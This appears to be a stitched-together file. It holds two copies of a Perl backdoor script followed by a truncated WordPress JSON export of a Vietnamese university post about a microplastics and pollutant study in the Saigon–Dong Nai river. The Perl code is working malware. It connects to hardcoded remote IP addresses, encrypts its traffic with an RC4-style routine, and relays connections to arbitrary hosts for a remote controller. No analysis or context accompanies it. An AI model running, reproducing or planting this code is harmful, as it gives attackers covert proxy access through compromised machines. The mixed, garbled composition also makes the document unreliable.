#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '45.146.130.16'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '45.146.130.36'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); {"id":14701,"date":"2024-11-07T12:07:45","date_gmt":"2024-11-07T12:07:45","guid":{"rendered":"https:\/\/research.vnuhcm.edu.vn\/?p=14701"},"modified":"2025-01-26T07:52:16","modified_gmt":"2025-01-26T07:52:16","slug":"copy-nghiem-thu-de-tai-cap-dhqg-loai-b-tai-vien-mttn-ung-dung-phan-tich-dong-vat-chat-mfa-trong-viec-quan-ly-dong-nito-huong-den-he-sinh-thai-khep-kin-cho-cac-ao-nuoi-ca-tra-khu-vuc-dong-ban","status":"publish","type":"post","link":"https:\/\/research.vnuhcm.edu.vn\/index.php\/vi\/2024\/11\/07\/copy-nghiem-thu-de-tai-cap-dhqg-loai-b-tai-vien-mttn-ung-dung-phan-tich-dong-vat-chat-mfa-trong-viec-quan-ly-dong-nito-huong-den-he-sinh-thai-khep-kin-cho-cac-ao-nuoi-ca-tra-khu-vuc-dong-ban\/","title":{"rendered":"Nghi\u1ec7m thu \u0111\u1ec1 t\u00e0i c\u1ea5p \u0110HQG lo\u1ea1i B t\u1ea1i Vi\u1ec7n MT&TN: Nghi\u00ean c\u1ee9u \u1ea3nh h\u01b0\u1edfng c\u1ee7a \u00f4 nhi\u1ec5m vi nh\u1ef1a k\u1ebft h\u1ee3p v\u1edbi ch\u1ea5t h\u1eefu c\u01a1 kh\u00f3 ph\u00e2n h\u1ee7y v\u00e0 m\u1ea7m b\u1ec7nh \u0111\u1ebfn th\u1ee7y sinh \u1edf h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n\u2013\u0110\u1ed3ng Nai"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t
\n\t\t\t
<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t

Nghi\u1ec7m thu \u0111\u1ec1 t\u00e0i c\u1ea5p \u0110HQG lo\u1ea1i B t\u1ea1i Vi\u1ec7n MT&TN: Nghi\u00ean c\u1ee9u \u1ea3nh h\u01b0\u1edfng c\u1ee7a \u00f4 nhi\u1ec5m vi nh\u1ef1a k\u1ebft h\u1ee3p v\u1edbi ch\u1ea5t h\u1eefu c\u01a1 kh\u00f3 ph\u00e2n h\u1ee7y v\u00e0 m\u1ea7m b\u1ec7nh \u0111\u1ebfn th\u1ee7y sinh \u1edf h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n\u2013\u0110\u1ed3ng Nai <\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t

\u00a0<\/p>

1.<\/strong><\/p><\/td>

T\u00ean \u0111\u1ec1 t\u00e0i:<\/strong><\/p><\/td>

Nghi\u00ean c\u1ee9u \u1ea3nh h\u01b0\u1edfng c\u1ee7a \u00f4 nhi\u1ec5m vi nh\u1ef1a k\u1ebft h\u1ee3p v\u1edbi ch\u1ea5t h\u1eefu c\u01a1 kh\u00f3 ph\u00e2n h\u1ee7y v\u00e0 m\u1ea7m b\u1ec7nh \u0111\u1ebfn th\u1ee7y sinh \u1edf h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n\u2013\u0110\u1ed3ng Nai<\/p><\/td><\/tr>

2.<\/strong><\/p><\/td>

M\u00e3 s\u1ed1<\/strong><\/p><\/td>

B2021-24-03<\/p><\/td><\/tr>

3.<\/strong><\/p><\/td>

Ch\u1ee7 nhi\u1ec7m \u0111\u1ec1 t\u00e0i<\/strong><\/p><\/td>

TS. Tr\u1ecbnh B\u1ea3o S\u01a1n
Nh\u00f3m nghi\u00ean c\u1ee9u g\u1ed3m: 03 TS, 04 ThS v\u00e0 05 KS<\/p><\/td><\/tr>

4.<\/strong><\/p><\/td>

\u0110\u01a1n v\u1ecb:<\/strong><\/p><\/td>

Vi\u1ec7n M\u00f4i tr\u01b0\u1eddng v\u00e0 T\u00e0i nguy\u00ean, \u0110HQG-HCM<\/p><\/td><\/tr>

5.<\/strong><\/p><\/td>

L\u0129nh v\u1ef1c:<\/strong><\/p><\/td>

Khoa h\u1ecdc Tr\u00e1i \u0111\u1ea5t v\u00e0 M\u00f4i tr\u01b0\u1eddng<\/p><\/td><\/tr>

6.<\/strong><\/p><\/td>

Lo\u1ea1i h\u00ecnh\u00a0:<\/strong><\/p><\/td>

Nguy\u00ean c\u1ee9u c\u01a1 b\u1ea3n<\/p><\/td><\/tr>

7.<\/strong><\/p><\/td>

Th\u1eddi gian th\u1ef1c hi\u1ec7n:<\/strong><\/p><\/td>

Theo h\u1ee3p \u0111\u1ed3ng: 24 th\u00e1ng (02\/2021-02\/2023). Th\u1ef1c t\u1ebf gia h\u1ea1n 03 l\u1ea7n \u0111\u1ebfn th\u00e1ng 08\/2024<\/p><\/td><\/tr>

8.<\/strong><\/p><\/td>

Kinh ph\u00ed nghi\u00ean c\u1ee9u:<\/strong><\/p><\/td>

940 tri\u1ec7u \u0111\u1ed3ng<\/p><\/td><\/tr>

9<\/strong><\/p><\/td>

Th\u1eddi gian nghi\u1ec7m thu<\/strong><\/p><\/td>

Ng\u00e0y 13 th\u00e1ng 09 n\u0103m 2024<\/p><\/td><\/tr>

10<\/strong><\/p><\/td>

Ch\u1ee7 t\u1ecbch H\u1ed9i \u0111\u1ed3ng v\u00e0 quy\u1ebft \u0111\u1ecbnh th\u00e0nh l\u1eadp H\u0110<\/strong><\/p><\/td>

GS.TS. L\u00ea Thanh H\u1ea3i (\u0111\u01a1n v\u1ecb Vi\u1ec7n M\u00f4i tr\u01b0\u1eddng v\u00e0 T\u00e0i nguy\u00ean, \u0110HQG-HCM) theo Quy\u1ebft \u0111\u1ecbnh 1252\/Q\u0110-\u0110HQG ng\u00e0y 04\/09\/2024 c\u1ee7a Gi\u00e1m \u0111\u1ed1c \u0110HQG-HCM.<\/p><\/td><\/tr>

11.<\/strong><\/p><\/td>

N\u1ed9i dung th\u1ef1c hi\u1ec7n<\/strong><\/p>

(chi ti\u1ebft theo n\u1ed9i dung th\u1ef1c hi\u1ec7n\/\u0111\u0103ng k\u00fd; kh\u00f4ng qu\u00e1\u00a0 800 t\u1eeb)<\/em><\/p><\/td>

– N\u1ed9i dung 1: L\u1ea5y m\u1eabu vi nh\u1ef1a c\u00f3 trong m\u00f4i tr\u01b0\u1eddng n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch \u1edf h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n \u2013 \u0110\u1ed3ng Nai
K\u1ebft qu\u1ea3: \u0110\u00e3 l\u1ea5y \u0111\u1ea7y \u0111\u1ee7 c\u00e1c m\u1eabu vi nh\u1ef1a c\u00f3 trong m\u00f4i tr\u01b0\u1eddng n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch \u1edf khu v\u1ef1c Ph\u00fa M\u1ef9 v\u00e0 B\u00ecnh Kh\u00e1nh (thu\u1ed9c h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n \u2013 \u0110\u1ed3ng Nai) v\u00e0o m\u00f9a m\u01b0a 2021 v\u00e0 m\u00f9a kh\u00f4 2022.
– N\u1ed9i dung 2: X\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch th\u00e0nh ph\u1ea7n vi nh\u1ef1a trong c\u00e1c m\u1eabu \u0111\u01b0\u1ee3c l\u1ea5y t\u1eeb ND1.
K\u1ebft qu\u1ea3: \u0110\u00e3 x\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch th\u00e0nh ph\u1ea7n vi nh\u1ef1a c\u1ee7a t\u1ea5t c\u1ea3 c\u00e1c m\u1eabu \u0111\u00e3 l\u1ea5y t\u1eeb ND1.
– N\u1ed9i dung 3: L\u1ea5y m\u1eabu th\u1ee7y sinh trong m\u00f4i tr\u01b0\u1eddng n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch.
K\u1ebft qu\u1ea3: \u0110\u00e3 l\u1ea5y \u0111\u1ea7y \u0111\u1ee7 c\u00e1c m\u1eabu \u0111\u1ed9ng v\u1eadt th\u1ee7y sinh trong m\u00f4i tr\u01b0\u1eddng n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch \u1edf khu v\u1ef1c Ph\u00fa M\u1ef9 v\u00e0 B\u00ecnh Kh\u00e1nh (thu\u1ed9c h\u1ea1 l\u01b0u s\u00f4ng S\u00e0i G\u00f2n \u2013 \u0110\u1ed3ng Nai) v\u00e0o m\u00f9a m\u01b0a 2021 v\u00e0 m\u00f9a kh\u00f4 2022.
– N\u1ed9i dung 4: X\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch th\u00e0nh ph\u1ea7n th\u1ee7y sinh trong m\u1eabu \u0111\u01b0\u1ee3c l\u1ea5y t\u1eeb ND3.
K\u1ebft qu\u1ea3: \u0110\u00e3 x\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch th\u00e0nh ph\u1ea7n th\u1ee7y sinh c\u1ee7a t\u1ea5t c\u1ea3 c\u00e1c m\u1eabu \u0111\u00e3 l\u1ea5y t\u1eeb ND3.
– N\u1ed9i dung 5: Ph\u00e2n t\u00edch h\u00e0m l\u01b0\u1ee3ng POPs \u0111\u1eb7c tr\u01b0ng c\u00f3 trong m\u1eabu vi nh\u1ef1a
K\u1ebft qu\u1ea3: \u0110\u00e3 x\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch th\u00e0nh ph\u1ea7n POPs \u0111\u1eb7c tr\u01b0ng (PCBs v\u00e0 DDTs) c\u00f3 trong c\u00e1c m\u1eabu r\u00e1c nh\u1ef1a trong n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch.
– N\u1ed9i dung 6: Ph\u00e2n t\u00edch m\u1ea7m b\u1ec7nh \u0111\u1eb7c tr\u01b0ng c\u00f3 trong m\u1eabu vi nh\u1ef1a v\u00e0 m\u00f4i tr\u01b0\u1eddng
K\u1ebft qu\u1ea3: \u0110\u00e3 x\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch c\u00e1c m\u1ea7m b\u1ec7nh \u0111\u1eb7c tr\u01b0ng (E. Coli, Coliform, v\u00e0 Vibrio spp.) trong c\u00e1c m\u1eabu r\u00e1c nh\u1ef1a trong n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch.
– N\u1ed9i dung 7: Ph\u00e2n t\u00edch h\u00e0m l\u01b0\u1ee3ng vi nh\u1ef1a c\u00f3 trong m\u1eabu th\u1ee7y sinh \u0111\u1eb7c tr\u01b0ng<\/p>

K\u1ebft qu\u1ea3: \u0110\u00e3 x\u1eed l\u00fd v\u00e0 ph\u00e2n t\u00edch h\u00e0m l\u01b0\u1ee3ng vi nh\u1ef1a c\u00f3 trong c\u00e1c m\u1eabu \u0111\u1ed9ng v\u1eadt th\u1ee7y sinh trong n\u01b0\u1edbc m\u1eb7t, c\u1ed9t n\u01b0\u1edbc v\u00e0 tr\u1ea7m t\u00edch.
– N\u1ed9i dung 8: Th\u00ed nghi\u1ec7m \u0111\u1ed9c h\u1ecdc sinh th\u00e1i nh\u1eb1m \u0111\u00e1nh gi\u00e1 \u1ea3nh h\u01b0\u1edfng c\u1ee7a \u00f4 nhi\u1ec5m vi nh\u1ef1a k\u1ebft h\u1ee3p POP \u0111\u1ebfn m\u1ed9t s\u1ed1 lo\u00e0i th\u1ee7y sinh \u0111\u1eb7c tr\u01b0ng
K\u1ebft qu\u1ea3: \u0110\u00e3 th\u1ef1c hi\u1ec7n th\u00e0nh c\u00f4ng c\u00e1c th\u00ed nghi\u1ec7m \u0111\u1ed9c h\u1ecdc sinh th\u00e1i \u0111\u00e1nh gi\u00e1 \u1ea3nh h\u01b0\u1edfng c\u1ee7a \u00f4 nhi\u1ec5m vi nh\u1ef1a k\u1ebft h\u1ee3p v\u1edbi PCB153 \u0111\u1ebfn c\u00e1c lo\u00e0i Moina macrocopa, Daphnia magna, t\u00f4m c\u00e0ng xanh v\u00e0 ngh\u00eau tr\u1eafng.<\/p><\/td><\/tr>

12.<\/strong><\/p><\/td>

K\u1ebft qu\u1ea3<\/strong><\/p><\/td>

